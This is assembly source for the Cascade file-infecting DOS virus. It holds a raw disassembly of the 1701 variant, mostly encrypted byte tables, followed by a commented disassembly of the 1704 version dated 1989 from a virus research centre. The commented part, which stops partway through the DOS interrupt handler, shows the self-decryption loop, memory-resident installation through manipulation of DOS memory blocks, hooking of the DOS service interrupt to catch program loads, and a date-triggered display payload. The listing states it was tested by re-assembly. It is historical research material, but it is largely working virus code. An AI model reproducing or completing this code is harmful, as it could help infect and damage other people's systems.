data_58e equ 49F2h
data_59e equ 0B0E0h
data_60e equ 0BCF1h
data_61e equ 0EAEFh
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
1701 proc far
start:
jmp loc_2
db 39 dup (0)
data_22 db 0 ; Data table (indexed access)
db 58 dup (0)
loc_2:
cli ; Disable interrupts
mov bp,sp
call sub_1
1701 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_1 proc near
pop bx
sub bx,131h
test cs:data_22[bx],1
jz $+11h ; Jump if zero
lea si,[bx+14Dh] ; Load effective addr
mov sp,682h
loc_4:
xor [si],si
xor [si],sp
inc si
dec sp
jnz loc_4 ; Jump if not zero
db 8Eh,0EBh,0E5h,0BDh, 62h,0F6h
db 0F7h, 06h,0EFh,0EEh,0EEh, 2Fh
db 0C2h,0E6h,0E6h,0E2h,0B1h, 11h
db 0EEh, 02h, 6Ch,0F8h, 36h,0EAh
db 3Bh,0DCh,0E0h,0C3h,0C2h,0C6h
db 0E6h,0C2h
locloop_5:
mov si,dx
push es
db 0F1h, 60h,0D4h,0ABh, 69h, 96h
db 0EEh,0EEh,0E2h, 0Bh, 06h,0DBh
db 0E2h
db 0E2h,0EEh,0EEh,0F2h,0FAh,0F6h
db 0F6h
loc_7:
db 0F2h,0F2h, 7Ah, 87h, 61h
loc_9:
test ah,[di-80h]
add byte ptr [bp+si-7171h],0F6h
jc loc_9 ; Jump if carry Set
div dl ; al, ah rem = ax/reg
db 0F2h,0EEh,0EEh,0E2h,0E3h, 1Bh
db 16h,0C2h
db 0C2h,0CEh
db 0CEh, 1Ah,0F2h,0F6h,0ADh, 73h
db 19h, 6Dh,0CFh,0ECh, 4Eh, 49h
db 92h,0C3h,0ECh, 47h, 49h,0A4h
db 0F3h,0D8h, 7Dh, 75h,0AAh,0EFh
db 4Dh,0E2h,0E3h,0C8h, 6Ch, 65h
db 0B8h,0EFh, 4Ch,0F0h,0F3h,0A5h
db 42h,0C2h, 3Fh, 2Fh, 56h, 3Dh
db 03h, 77h, 14h,0B9h,0FEh, 46h
db 3Eh, 0Eh,0C1h, 00h, 3Bh,0D3h
db 73h, 11h, 44h,0B7h, 97h,0E9h
db 94h,0F4h
db 19h,0F0h,0E9h,0DCh, 79h, 71h
db 0A0h,0F3h,0DCh, 31h, 61h, 90h
db 0C3h, 95h, 7Eh,0E3h,0F7h, 03h
db 0EFh, 79h, 31h,0ADh,0D8h, 7Bh
db 75h, 8Fh,0EFh,0CCh, 6Eh, 61h
db 85h,0E3h, 5Ah,0EEh, 1Eh, 7Ch
db 32h, 49h,0FEh, 12h, 73h,0B3h
db 0CDh,0CDh,0F7h, 9Dh, 07h,0FFh
db 80h,0DEh,0DCh, 87h,0E6h, 77h
db 8Bh,0F6h,0DCh
loc_14:
into ; Int 4 on overflow
db 9Bh,0EFh, 63h, 9Bh,0E0h,0ABh
db 0A0h, 9Bh,0E8h, 71h, 8Fh,0FEh
db 0BBh, 86h, 45h, 76h,0B5h,0C2h
db 4Eh, 0Bh, 8Bh, 4Ch, 07h,0E0h
db 45h,0C4h,0E4h,0F6h,0D0h, 7Bh
db 0C4h,0EFh,0EEh,0C4h, 69h,0F0h
db 0E5h,0E2h,0C4h, 4Dh,0EDh,0F2h
db 0D4h, 30h,0F0h,0F2h,0F2h, 43h
db 25h,0D2h, 48h, 43h, 05h,0EAh
db 47h, 80h,0CBh,0A1h, 46h,0A6h
db 7Dh, 2Fh, 3Fh,0CFh,0B5h,0D1h
db 1Dh,0E0h,0F1h,0B5h, 6Fh, 51h
db 20h,0F5h, 79h, 01h
db 4Fh
db 57h,0F4h, 33h, 3Dh, 66h,0C4h
loc_16:
dec bx
dec cx
mov dl,0C0h
lahf ; Load ah from flags
add ax,7EDCh
jns loc_14 ; Jump if not sign
db 0F3h, 7Fh, 61h,0C4h,0E3h, 11h
db 42h,0C8h, 6Eh,0ECh,0D8h,0EEh
db 0BFh, 7Ch, 33h,0D0h
db 7Bh,0E4h, 8Dh, 8Eh,0A4h, 44h
db 80h
db 86h, 82h,0D8h,0A8h, 02h,0FCh
db 0F3h
loc_19:
div byte ptr [bp+di+377Ch] ; al,ah rem = ax/data
lock jmp $-211h
sub_1 endp
db 6Bh, 51h,0C8h,0E3h, 51h,0EEh
db 0F3h, 4Bh, 53h,0F0h, 0Eh, 01h
db 6Ah,0C8h, 4Fh,0C4h, 42h,0C4h
db 92h
db 9
db 0E0h, 09h,0F4h,0DEh,0F6h,0F6h
db 0F2h,0DCh, 62h,0E0h,0F4h,0E2h
db 0F8h, 6Bh,0F4h,0FEh,0EDh,0E0h
db 0EDh, 4Ah,0D7h,0D3h, 3Fh,0D3h
db 11h,0BBh, 19h,0B9h, 87h, 07h
db 0CEh, 22h,0E7h,0FCh,0F2h, 46h
db 0DCh, 3Bh,0D3h, 73h, 17h, 2Ah
db 0E5h, 95h, 83h, 92h,0C8h, 63h
db 17h, 52h,0F5h, 87h,0ABh,0E8h
db 4Ah,0DAh,0FBh, 03h,0E3h,0ECh
db 4Fh,0D8h,0F9h,0C3h,0E0h
db 42h
db 0F4h,0CFh,0F7h, 4Eh,0DAh,0D7h
db 54h,0CCh,0E5h,0ECh,0F9h, 2Bh
db 0C3h,0FDh,0C0h, 6Eh,0FCh,0A5h
db 0F7h,0FEh, 19h,0F4h, 1Eh, 0Eh
loc_22:
jl loc_19 ; Jump if <
hlt ; Halt processor
mov dl,6Ah ; 'j'
dec word ptr ds:data_55e[si]
out 1Eh,ax ; port 1Eh ??I/O Non-standard
jc loc_22 ; Jump if carry Set
mov dl,0C0h
dec bp
mov sp,0C8E3h
inc bp
and bl,0C0h
sub sp,si
xchg ax,si
div di ; ax,dx rem=dx:ax/reg
db 0F2h, 4Ah,0D2h,0FBh, 0Fh,0E3h
db 0E8h, 4Fh,0DCh,0F1h,0CFh,0E0h
db 7Eh,0F4h
db 0C3h,0F7h,0ECh, 4Ah,0F2h,0CBh
db 58h, 5Fh,0E0h,0E8h,0FDh, 2Fh
db 0CFh,0F1h, 49h, 24h, 09h, 1Fh
db 65h, 0Ch, 8Eh,0F2h, 49h, 76h
db 16h, 28h,0FDh, 2Ch, 39h, 0Fh
db 4Dh, 58h,0A3h,0D8h, 36h,0F4h
db 0D9h,0EFh, 6Eh, 28h, 29h,0DAh
db 1Dh, 96h, 1Fh,0D2h,0F2h, 87h
db 1Eh, 6Ah,0A2h,0A1h, 9Fh, 9Ch
db 94h, 95h, 93h,0C0h,0DCh,0ECh
db 47h,0D8h,0B5h,0F3h,0D8h, 7Ah
db 0ECh,0BBh,0EFh,0E0h,0E5h, 5Ah
db 0E6h,0DBh, 2Fh,0C3h, 9Ch,0B8h
db 79h, 2Ah, 4Eh,0F6h,0A5h, 3Fh
db 0AFh,0A0h, 0Bh, 94h,0C5h, 87h
db 0ACh, 0Bh, 80h,0CBh,0F3h, 46h
db 0C9h,0F8h,0EDh, 48h,0C0h,0EFh
db 5Bh,0E1h,0E6h, 2Bh,0C3h, 90h
db 0D9h,0D5h, 33h, 87h,0C5h, 4Eh
db 0F0h,0B0h,0FDh, 07h,0F1h, 10h
db 0Bh,0E7h,0ECh, 61h, 85h
db 0CFh,0DCh, 7Bh,0E0h,0BBh,0F3h
db 46h,0D0h, 23h,0C3h,0CCh, 67h
db 0D8h,0CCh,0E3h,0A3h,0B4h, 87h
db 0F1h, 1Fh, 31h,0F2h,0DCh, 8Dh
db 37h, 48h, 04h, 01h, 76h, 0Ch
db 2Bh, 88h, 37h,0BEh,0F3h,0CDh
db 0Fh, 84h,0F1h, 07h, 5Dh,0E2h
db 0CCh, 66h,0D8h,0CCh,0E3h, 07h
db 9Bh,0FCh,0DCh
db 57h
loc_27:
mov bp,0F7F3h
xchg ax,di
aaa ; Ascii adjust
in al,dx ; port 0C0h, DMA-2 bas&add ch 0
stc ; Set carry flag
db 0C0h,0E9h
db 0C3h,0B6h, 29h, 76h,0F2h,0B1h
db 0D8h, 33h,0E4h,0B5h,0EFh, 23h
db 0C3h, 90h, 3Dh,0C8h, 6Bh,0ECh
db 0AFh,0EFh, 72h, 03h,0D6h, 00h
db 33h,0D5h,0FAh, 87h, 3Ah, 83h
db 0C5h,0B5h, 4Bh, 4Fh,0AFh
db 0FCh, 37h, 4Ah,0F4h
db 0CBh, 3Fh,0D3h, 9Ch, 50h, 69h
db 3Ah, 5Eh,0E4h,0A0h,0D1h, 27h
db 0DDh, 20h, 3Fh,0D7h, 1Eh,0A2h
db 0F1h,0BDh,0D6h, 7Ah,0C2h, 84h
db 0E8h, 49h,0CCh, 83h,0CFh,0DCh
db 79h,0E0h,0BDh,0F3h, 3Fh,0CFh
db 5Ah,0A2h,0D1h, 2Fh, 2Bh,0C3h
db 09h,0CFh, 7Eh
db 4Ah,0F2h,0B4h,0C5h, 3Bh,0C1h
db 0DCh,0C3h, 23h, 70h, 13h, 28h
db 0A3h, 49h, 0Fh, 0Bh, 0Ch, 0Dh
db 0D8h, 55h,0A2h,0F3h, 5Ah,0AEh
db 58h,0ADh,0E7h, 5Fh,0E1h,0E2h
db 23h,0CFh, 4Ah,0F3h,0A1h,0D8h
db 79h,0E4h, 8Dh,0CFh,0ECh, 49h
db 0C8h, 83h,0C3h, 0Fh,0EFh, 7Ah
db 0CCh, 3Fh,0D7h,0D8h, 79h,0FCh
db 0AFh,0EFh, 14h, 23h,0E1h, 93h
db 0E7h, 14h, 2Fh,0CEh, 87h,0F8h
db 4Eh,0F7h,0B1h,0DCh, 4Bh, 98h
db 0C5h, 83h, 4Bh,0A7h, 9Dh, 85h
db 0D3h,0D1h,0ACh,0A8h,0AFh,0ADh
db 0AAh, 6Fh, 07h, 5Ch, 1Ch,0FCh
db 0E8h
loc_33:
stc ; Set carry flag
mov cl,0B3h
mov sp,4BBEh
cmc ; Complement carry
db 0F6h, 4Dh, 86h,0F3h, 31h,0F9h
db 49h, 85h, 38h,0D7h,0C5h, 89h
db 85h
db 2Ch, 05h,0AAh,0E7h,0F1h, 79h
db 0E5h,0B6h,0E5h, 22h, 96h,0E4h
db 11h, 00h, 69h, 2Ch,0B4h,0ABh
db 0A9h,0E9h, 35h,0ECh,0F4h, 58h
db 58h, 52h, 0Dh, 00h,0BEh, 43h
db 03h, 81h,0D6h, 4Ch, 94h,0F7h
db 48h, 9Eh,0F2h, 57h,0E6h,0E2h
db 1Eh, 15h, 43h,0BBh,0BDh,0B0h
db 0E9h,0EDh, 31h,0A0h,0E8h,0A0h
db 78h, 08h, 38h,0E4h, 90h,0C7h
db 70h,0C2h,0C1h
db 0Ch
db 1Fh, 12h,0F1h,0F0h,0ACh,0F3h
db 79h, 1Eh, 18h,0E4h,0B6h,0E7h
db 19h, 6Ch,0FCh,0B6h,0EFh, 86h
db 0E0h, 4Ch, 2Ch,0F1h, 08h, 62h
db 26h, 8Ah,0F7h, 8Fh, 2Eh, 83h
db 0F7h, 79h, 62h, 5Ah,0F3h, 82h
db 0Dh, 5Fh
db 09h,0B4h,0F1h,0BCh, 21h,0B1h
db 0E0h,0B0h,0B1h, 65h, 36h, 78h
db 34h, 00h,0D0h,0A0h,0F3h, 78h
db 0CEh,0C1h, 00h, 17h, 26h,0C1h
db 0C4h, 94h,0CFh, 79h, 0Ah, 00h
db 0F0h,0A6h,0F3h, 11h, 60h,0E4h
db 0BAh,0E7h, 92h,0F0h, 58h, 34h
db 0EDh, 08h, 1Eh, 5Eh,0FEh, 87h
db 0FBh,0A6h, 0Fh, 77h,0F5h,0EAh
db 0AEh, 03h, 76h,0F5h, 85h, 31h
db 58h, 0Dh,0ADh,0A8h,0F5h,0B1h
db 2Dh,0B3h,0B3h, 6Dh,0E8h,0BEh
db 0E3h, 0Ch, 10h,0ABh, 10h, 00h
db 0AFh, 31h,0A2h, 2Ah,0AFh,0F6h
db 0C0h,0E2h, 38h, 24h,0A3h, 96h
db 0Dh,0CEh,0F2h, 82h,0FCh,0CEh
db 0D2h, 9Ah,0E8h,0DEh, 1Dh, 92h
db 0E4h, 1Ah, 21h, 17h, 2Dh,0CEh
db 42h, 84h,0F0h,0CEh, 2Dh,0F9h
db 8Ch, 7Bh, 41h, 7Eh, 45h, 9Ch
db 3Ah,0CEh, 8Eh, 7Ch, 2Ah, 0Dh
db 57h, 9Eh,0F2h,0D5h,0E8h, 8Eh
db 0E2h, 92h, 1Ch,0D1h
loc_37:
sub cx,[bx-7Eh]
db 0F2h,0B3h, 82h,0E3h,0C9h,0F4h
db 0A2h,0CEh,0B6h, 35h,0D9h, 4Dh
db 03h,0F1h, 1Ch, 77h,0FDh,0F2h
db 01h, 07h,0DCh, 51h,0B2h,0EFh
db 21h,0ABh
db 0Dh, 08h
db 24h,0E4h
db 0BDh,0EFh,0EAh,0ECh, 4Eh,0B6h
db 0F2h, 7Ch,0D6h,0ACh, 4Fh, 01h
db 1Ah,0A6h, 5Bh, 00h,0BFh,0F2h
db 49h,0C2h,0E7h, 41h,0F2h,0F4h
db 0BBh, 23h,0F2h,0BFh,0E1h, 66h
db 18h, 1Dh, 9Ah,0EAh, 7Ah,0E4h
db 0A5h,0F7h, 46h,0FDh, 03h,0DEh
db 4Ah,0E4h, 94h,0C7h, 04h,0C4h
db 9Ah,0CFh,0F2h, 35h,0F0h,0AEh
db 0F3h,0F2h, 5Eh,0D2h,0E5h, 96h
db 0D0h, 94h
db 0E1h, 0Bh, 0Eh,0EEh, 35h,0F4h
db 0AEh,0F7h,0F2h, 4Ah,0B2h, 8Dh
db 0F5h
locloop_40:
movsw ; Mov [si] to es:[di]
;* mov dx,offset loc_46 ;*
db 0BAh, 84h,0F0h
mov ax,ds:data_45e
cmpsb ; Cmp [si] to es:[di]
db 0F3h,0F7h, 56h,0A1h,0F3h, 10h
db 2Eh, 14h,0C4h,0B4h,0E7h, 41h
db 80h,0EFh, 4Fh, 96h,0F3h,0CDh
db 0F0h, 90h,0F3h,0B8h,0CDh, 63h
db 0A0h,0C7h, 2Eh,0A9h, 3Ch, 8Eh
db 45h, 02h,0C1h, 09h,0B1h, 53h
db 90h,0EFh, 3Fh, 02h,0D9h, 1Eh
db 90h,0E1h, 0Bh, 4Eh,0EEh, 72h
db 0FCh,0A1h,0F7h,0F0h, 52h, 5Ch
db 0Fh,0B6h, 02h,0EEh, 4Ah,0FCh
db 88h,0DEh,0AEh,0A1h,0F3h, 42h
db 0F6h, 1Ah,0B0h, 10h, 64h, 12h
db 0Ah, 60h, 18h, 0Ah,0F3h, 11h
db 9Ch, 20h, 1Ah,0EAh, 09h, 80h
db 3Fh, 6Ch, 9Bh,0C3h, 4Ah,0E0h
db 90h,0C3h, 48h,0C0h, 9Dh,0F3h
db 47h,0F6h, 08h, 34h,0C8h,0D8h
db 0BDh,0E3h, 95h,0B4h, 0Eh, 86h
db 1Ch,0D4h,0C8h,0A4h,0F3h, 83h
db 0BFh, 1Ah, 1Bh, 70h,0FCh,0AAh
db 6Ah, 72h, 78h,0F0h,0BDh, 70h
db 48h,0C8h,0C4h,0A5h,0F7h, 85h
db 0C5h, 06h,0A7h, 1Ch,0D8h,0C0h
db 0B0h,0E3h, 97h,0C0h, 06h, 3Ch
db 0Ch, 85h, 13h, 1Ah, 4Ch, 30h
db 30h, 0Ch, 2Ah,0F0h, 38h, 60h
db 97h,0CFh, 30h, 34h, 72h,0D0h
db 0A1h,0F3h, 0Fh, 10h, 20h, 52h
db 0C2h, 0Eh,0BBh, 1Ch, 1Ch, 28h
db 4Eh,0A7h,0F3h, 1Eh,0A3h, 0Ch
db 11h, 0Ah,0E7h, 8Dh,0FDh, 4Eh
db 0ECh,0A5h,0F5h, 09h, 58h,0F2h
db 0F0h, 82h,0F5h, 1Bh,0AEh, 11h
db 06h, 69h, 1Ch,0A8h, 92h,0E1h
db 0Bh,0BFh, 11h, 16h, 93h,0D2h
db 0Ah, 14h, 93h, 0Dh,0E0h, 34h
db 0C4h, 91h,0C7h,0CBh,0B7h, 96h
db 0E0h, 72h,0FCh,0A1h,0F7h,0F3h
db 0DCh, 11h,0E0h,0BCh,0E3h, 93h
db 0A3h,0FCh
locloop_41:
in al,0E0h ; port 0E0h, Memory encode reg2
db 0F1h,0FCh,0F5h,0A6h,0A5h,0A3h
db 0A0h,0D8h,0D9h,0D7h, 32h,0A6h
db 60h,0A2h, 23h,0EEh, 8Fh,0CFh
db 0CAh,0F2h, 85h,0F1h, 4Ah,0D6h
db 0EAh, 0Ah, 9Ch, 1Bh,0A6h, 41h
db 0BCh,0EFh, 4Dh, 92h,0F3h, 1Eh
db 61h, 0Ch, 4Ah,0CDh,0CEh, 2Ah
db 0ACh, 3Bh, 86h, 35h,0E4h,0AAh
db 0CFh, 81h,0F1h, 4Eh, 09h, 0Dh
db 51h, 8Ah,0EFh,0BFh,0BDh,0B8h
db 0BCh,0BBh,0B9h,0B6h,0E9h,0EDh
db 0DCh, 76h,0D0h,0A5h,0F3h,0F0h
db 20h,0FDh, 2Ch, 35h, 07h, 2Ch
db 0F4h, 08h, 59h,0F3h,0FAh, 82h
db 0EBh,0A2h,0A3h,0BCh, 5Ah,0C8h
db 2Fh,0C7h, 67h, 1Bh, 26h,0E9h
db 9Ch,0FFh, 85h,0F3h
locloop_42:
jbe loc_45 ; Jump if below or =
clc ; Clear carry flag
mov sp,0ECC8h
inc dx
loopnz locloop_41 ; Loop if zf=0, cx>0
retn
db 35h, 94h
db 97h
db 0AAh
loc_45:
esc 4,[bx+di] ; coprocessor escape
esc 0,cl ; coprocessor escape
db 0F3h,0E8h,0BDh, 56h,0AAh, 5Dh
db 8Dh,0E2h, 2Fh,0CFh,0B5h, 81h
db 0F1h, 0Fh,0F1h, 31h,0DCh, 48h
db 88h, 82h, 83h, 87h, 08h, 42h
db 8Ch, 91h,0BDh, 0Dh, 4Ch,0F6h
db 0F7h, 4Bh, 57h,0E8h, 12h, 11h
db 46h, 59h,0C5h,0E2h, 5Ch,0CDh
db 0EFh,0F1h,0C4h,0BDh,0F7h, 4Bh
db 70h,0C8h,0E8h,0F3h,0F7h,0E0h
db 0F7h,0CFh, 85h, 88h, 2Ch, 04h
db 7Ch, 2Eh, 42h,0B2h,0C1h, 3Ch
db 57h, 47h,0E4h, 2Bh,0C7h, 7Eh
db 0B2h, 5Ah,0A7h, 3Fh,0D3h,0AEh
db 6Bh,0FCh,0EDh, 7Ch,0BBh, 36h
db 0CCh, 7Ch,0BFh, 0Ah,0F5h,0C2h
seg_a ends
end start
@@ -0,0 +1,919 @@
page 65,132
title The 'Cascade' Virus (1704 version)
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º British Computer Virus Research Centre º
; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º
; º Telephone: Domestic 0273-26105, International +44-273-26105 º
; º º
; º The 'Cascade' Virus (1704 version) º
; º Disassembled by Joe Hirst, March 1989 º
; º º
; º Copyright (c) Joe Hirst 1989. º
; º º
; º This listing is only to be made available to virus researchers º
; º or software writers on a need-to-know basis. º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
; The virus occurs attached to the end of a COM file. The first
; three bytes of the program are stored in the virus, and replaced
; by a branch to the beginning of the virus.
; The disassembly has been tested by re-assembly using MASM 5.0.
RAM SEGMENT AT 400H
; System data
ORG 4EH
BW044E DW ? ; VDU display start address
ORG 6CH
BW046C DW ? ; System clock
RAM ENDS
MCB SEGMENT AT 0 ; Memory control block references
MB0000 DB ? ; MCB signature
MW0001 DW ? ; MCB owner
MW0003 DW ? ; MCB size
MCB ENDS
OPROG SEGMENT AT 0 ; Original program references
ORG 100H
OW0100 DW ?
OB0102 DB ?
OPROG ENDS
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:OPROG
VIRLEN EQU OFFSET ENDADR-START
MAXLEN EQU OFFSET START-ENDADR-20H
JMPADR = OFFSET START-ENDADR-2
ORG 16H
DW0016 DW ? ; PSP parent ID
ORG 2CH
DW002C DW ? ; PSP environment
ORG 36H
DW0036 DW ? ; FHT segment
ORG 100H
START:
DB0100 DB 1 ; Encryption indicator
; Virus entry point
ENTRY: CLI
MOV BP,SP ; Save stack pointer
CALL BP0010 ; \ Get address of BP0010
BP0010: POP BX ; /
SUB BX,OFFSET BP0010+2AH ; Standardise relocation reg
TEST DB0100[BX+2AH],1 ; Is virus encrypted
JZ BP0030 ; Branch if not
LEA SI,BP0030[BX+2AH] ; Address start of encrypted area
MOV SP,OFFSET ENDADR-BP0030 ; Length of encrypted area
BP0020: XOR [SI],SI ; \ Decrypt
XOR [SI],SP ; /
INC SI ; \ Next address
DEC SP ; /
JNZ BP0020 ; Repeat for all area
BP0030: MOV SP,BP ; Restore stack pointer
JMP BP0040 ; Branch past data
; Data
PROGRM EQU THIS DWORD
PRG_OF DW 100H ; Original program offset
PRG_SGIDW 1021H ; Original program segment
INITAX DW 0 ; Initial AX value
PROG_1 DW 2DE9H ; \ First three bytes of program
PROG_2 DB 0DH ; /
DB 0, 0
I1CBIO EQU THIS DWORD
I1C_OF DW 0FF53H ; Interrupt 1CH offset
I1C_SG DW 0F000H ; Interrupt 1CH segment
I21BIO EQU THIS DWORD
I21_OF DW 1460H ; Interrupt 21H offset
I21_SG DW 026AH ; Interrupt 21H segment
I28BIO EQU THIS DWORD
I28_OF DW 1445H ; Interrupt 28H offset
I28_SG DW 0270H ; Interrupt 28H segment
DW 0 ; - not referenced
F_ATTR DW 0 ; File attributes
F_DATE DW 0E71H ; File date
F_TIME DW 601FH ; File time
F_PATH EQU THIS DWORD
PATHOF DW 044EH ; File pathname offset
PATHSG DW 20FFH ; File pathname segment
F_SIZ1 DW 62DBH ; File size - low word
F_SIZ2 DW 0 ; File size - high word
JUMP_1 DB 0E9H ; \ Jump instruction
JUMP_2 DW 1D64H ; /
NUMCOL DB 0 ; Number of display columns
NUMROW DB 0 ; Number of display rows
C80_SW DB 0 ; 80 column text switch
CURCHA DB 0 ; Current character
CURATT DB 0 ; Current attributes
SWITCH DB 8 ; Switches
; 01 Int 1CH active
; 02 Switch 2
; 04 Switch 3 - not used
; 08 No display
RAM_SG DW 0 ; Video RAM segment
VDURAM DW 0 ; VDU display start address
LOOPCT DW 04F8H ; Timed loop count
I1CCNT DW 0FDAH ; Int 1CH count
I1CMAX DW 0FDAH ; Int 1CH random number maximum
NUMPOS DW 0 ; Number of display positions
RANPOS DW 1 ; Number of lines to affect
RANDOM DW 8FB2H, 0AH, 0, 0, 100H, 0, 1414H, 14H
; Main program start
BP0040: CALL BP0050 ; \ Get address of BP0050
BP0050: POP BX ; /
SUB BX,OFFSET BP0050+2AH ; Standardise relocation reg
MOV PRG_SG[BX+2AH],CS ; Save original program segment
MOV INITAX[BX+2AH],AX ; Save initial AX value
MOV AX,PROG_1[BX+2AH] ; Get first 2 bytes of program
MOV OW0100,AX ; Replace them
MOV AL,PROG_2[BX+2AH] ; Get third byte of program
MOV OB0102,AL ; Replace it
PUSH BX
MOV AH,30H ; Get DOS version number function
INT 21H ; DOS service
POP BX
CMP AL,2 ; Version 2.X or above?
JB BP0060 ; Branch if not
MOV AX,4BFFH ; Is virus active function
XOR DI,DI ; Clear register
XOR SI,SI ; Clear register
INT 21H ; DOS service
CMP DI,55AAH ; Is virus already active
JNE BP0070 ; Branch if not
BP0060: STI
PUSH DS ; \ Set ES to DS
POP ES ; /
MOV AX,INITAX[BX+2AH] ; Restore initial AX value
JMP PROGRM[BX+2AH] ; Branch to original program
BP0070: PUSH BX
MOV AX,3521H ; Get interrupt 21H function
INT 21H ; DOS service
MOV AX,BX ; Move interrupt 21H offset
POP BX
MOV I21_OF[BX+2AH],AX ; Save interrupt 21H offset
MOV I21_SG[BX+2AH],ES ; Save interrupt 21H segment
MOV AX,0F000H ; \
MOV ES,AX ; ) Address BIOS
MOV DI,0E008H ; /
CMP WORD PTR ES:[DI],'OC' ; \ Branch if not IBM BIOS
JNE BP0080 ; /
CMP WORD PTR ES:[DI+2],'RP' ; \ Branch if not IBM BIOS
JNE BP0080 ; /
CMP WORD PTR ES:[DI+4],' .' ; \ Branch if not IBM BIOS
JNE BP0080 ; /
CMP WORD PTR ES:[DI+6],'BI' ; \ Branch if not IBM BIOS
JNE BP0080 ; /
CMP WORD PTR ES:[DI+8],'M' ; \ IBM BIOS
JE BP0060 ; /
; Install virus
ASSUME ES:MCB,DS:NOTHING
BP0080: MOV AX,007BH ; Load size of virus in paragraphs
MOV BP,CS ; Get current segment
DEC BP ; \ Address back to MCB
MOV ES,BP ; /
MOV SI,DW0016 ; Get parent ID
MOV MW0001,SI ; Store as owner in MCB
MOV DX,MW0003 ; Get MCB size
MOV MW0003,AX ; Store virus size
MOV MB0000,4DH ; Store MCB identification
SUB DX,AX ; Subtract virus from original size
DEC DX ;
INC BP ; Forward from MCB
ADD BP,AX ; Add size of virus
INC BP ; And of another MCB
MOV ES,BP ; Address new PSP segment
PUSH BX
MOV AH,50H ; Set current PSP function
MOV BX,BP ; New PSP segment
INT 21H ; DOS service
POP BX
XOR DI,DI ; Clear register
PUSH ES ; \ Set stack segment to new PSP
POP SS ; /
PUSH DI
LEA DI,CPY040[BX+2AH] ; Address end of virus
MOV SI,DI ; And for source
MOV CX,VIRLEN ; Get length of virus
STD ; Going downwards
REPZ MOVSB ; Copy virus
PUSH ES ; Push new segment
LEA CX,BP0090[BX+2AH] ; \ And next instruction
PUSH CX ; /
RETF ; ... and load them
; Now running in virus at end of new program segment
BP0090: MOV PRG_SG[BX+2AH],CS ; New segment in program address
LEA CX,DB0100[BX+2AH] ; Get length of original program
REPZ MOVSB ; Copy original program to new PSP
MOV DW0036,CS ; New segment in handle table address
DEC BP ; \ Address back to MCB
MOV ES,BP ; /
MOV MW0003,DX ; Store original program size
MOV MB0000,5AH ; Store MCB ident (last)
MOV MW0001,CS ; Store CS as owner in MCB
INC BP ; \ Forward again to PSP
MOV ES,BP ; /
PUSH DS ; \ Set ES to DS
POP ES ; /
PUSH CS ; \ Set DS to CS
POP DS ; /
LEA SI,DB0100[BX+2AH] ; Address start of virus
MOV DI,OFFSET DB0100 ; Start of program area in first area
MOV CX,VIRLEN ; Get length of virus
CLD ; Copy forwards
REPZ MOVSB ; Copy virus to start of first area
PUSH ES ; Push segment of first area
LEA AX,BP0100 ; \ Offset of next instruction
PUSH AX ; /
RETF ; ... and load them
; Now running in installed virus, first area
ASSUME ES:NOTHING
BP0100: MOV DW002C,0 ; No environment pointer
MOV DW0016,CS ; Is its own parent
PUSH DS
LEA DX,INT_21 ; Interrupt 21H routine
PUSH CS ; \ Set DS to CS
POP DS ; /
MOV AX,2521H ; Set interrupt 21H function
INT 21H ; DOS service
POP DS
MOV AH,1AH ; Set DTA function
MOV DX,0080H ; DTA address
INT 21H ; DOS service
CALL GETCLK ; Copy system clock
MOV AH,2AH ; Get date function
INT 21H ; DOS service
CMP CX,07C4H ; Year 1988?
JA BP0130 ; Branch if after 1988
JE BP0110 ; Branch if 1988
CMP CX,07BCH ; Year 1980?
JNE BP0130 ; Branch if not
PUSH DS
MOV AX,3528H ; Get interrupt 28H function
INT 21H ; DOS service
MOV I28_OF,BX ; Save interrupt 28H offset
MOV I28_SG,ES ; Save interrupt 28H segment
MOV AX,2528H ; Set interrupt 28H function
MOV DX,OFFSET INT_28 ; Int 28H routine address
PUSH CS ; \ Set DS to CS
POP DS ; /
INT 21H ; DOS service
POP DS
OR SWITCH,8 ; Set on No display switch
JMP BP0120
; Year is 1988
BP0110: CMP DH,0AH ; October?
JB BP0130 ; Branch if not
BP0120: CALL TIMCYC ; Time one clock cycle
MOV AX,1518H ; Upper limit - 5400
CALL RNDNUM ; Create random number
INC AX ; Add to random number
MOV I1CCNT,AX ; Set Int 1CH count
MOV I1CMAX,AX ; Set Int 1CH random no maximum
MOV RANPOS,1 ; Set num of lines to affect to 1
MOV AX,351CH ; Get interrupt 1CH function
INT 21H ; DOS service
MOV I1C_OF,BX ; Save interrupt 1CH offset
MOV I1C_SG,ES ; Save interrupt 1CH segment
PUSH DS
MOV AX,251CH ; Set interrupt 1CH function
MOV DX,OFFSET INT_1C ; Int 1CH routine address
PUSH CS ; \ Set DS to CS
POP DS ; /
INT 21H ; DOS service
POP DS
BP0130: MOV BX,-2AH ; Set up relocation register
JMP BP0060 ; Branch to start program
; Interrupt 21H routine
INT_21: CMP AH,4BH ; Load function?
JE I_2106 ; Branch if yes
I_2102: JMP I21BIO ; Branch to original int 21H
; Virus call
I_2104: MOV DI,55AAH ; Virus call - signal back
LES AX,I21BIO ; Load return address
MOV DX,CS ; Load segment
IRET
; Load and execute function
I_2106: CMP AL,0FFH ; Is this a virus call?
JE I_2104 ; Branch if yes
CMP AL,0 ; Load and execute?
JNE I_2102 ; Branch if not
PUSHF
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
PUSH BP
PUSH ES
PUSH DS
MOV PATHOF,DX ; Save pathname offset
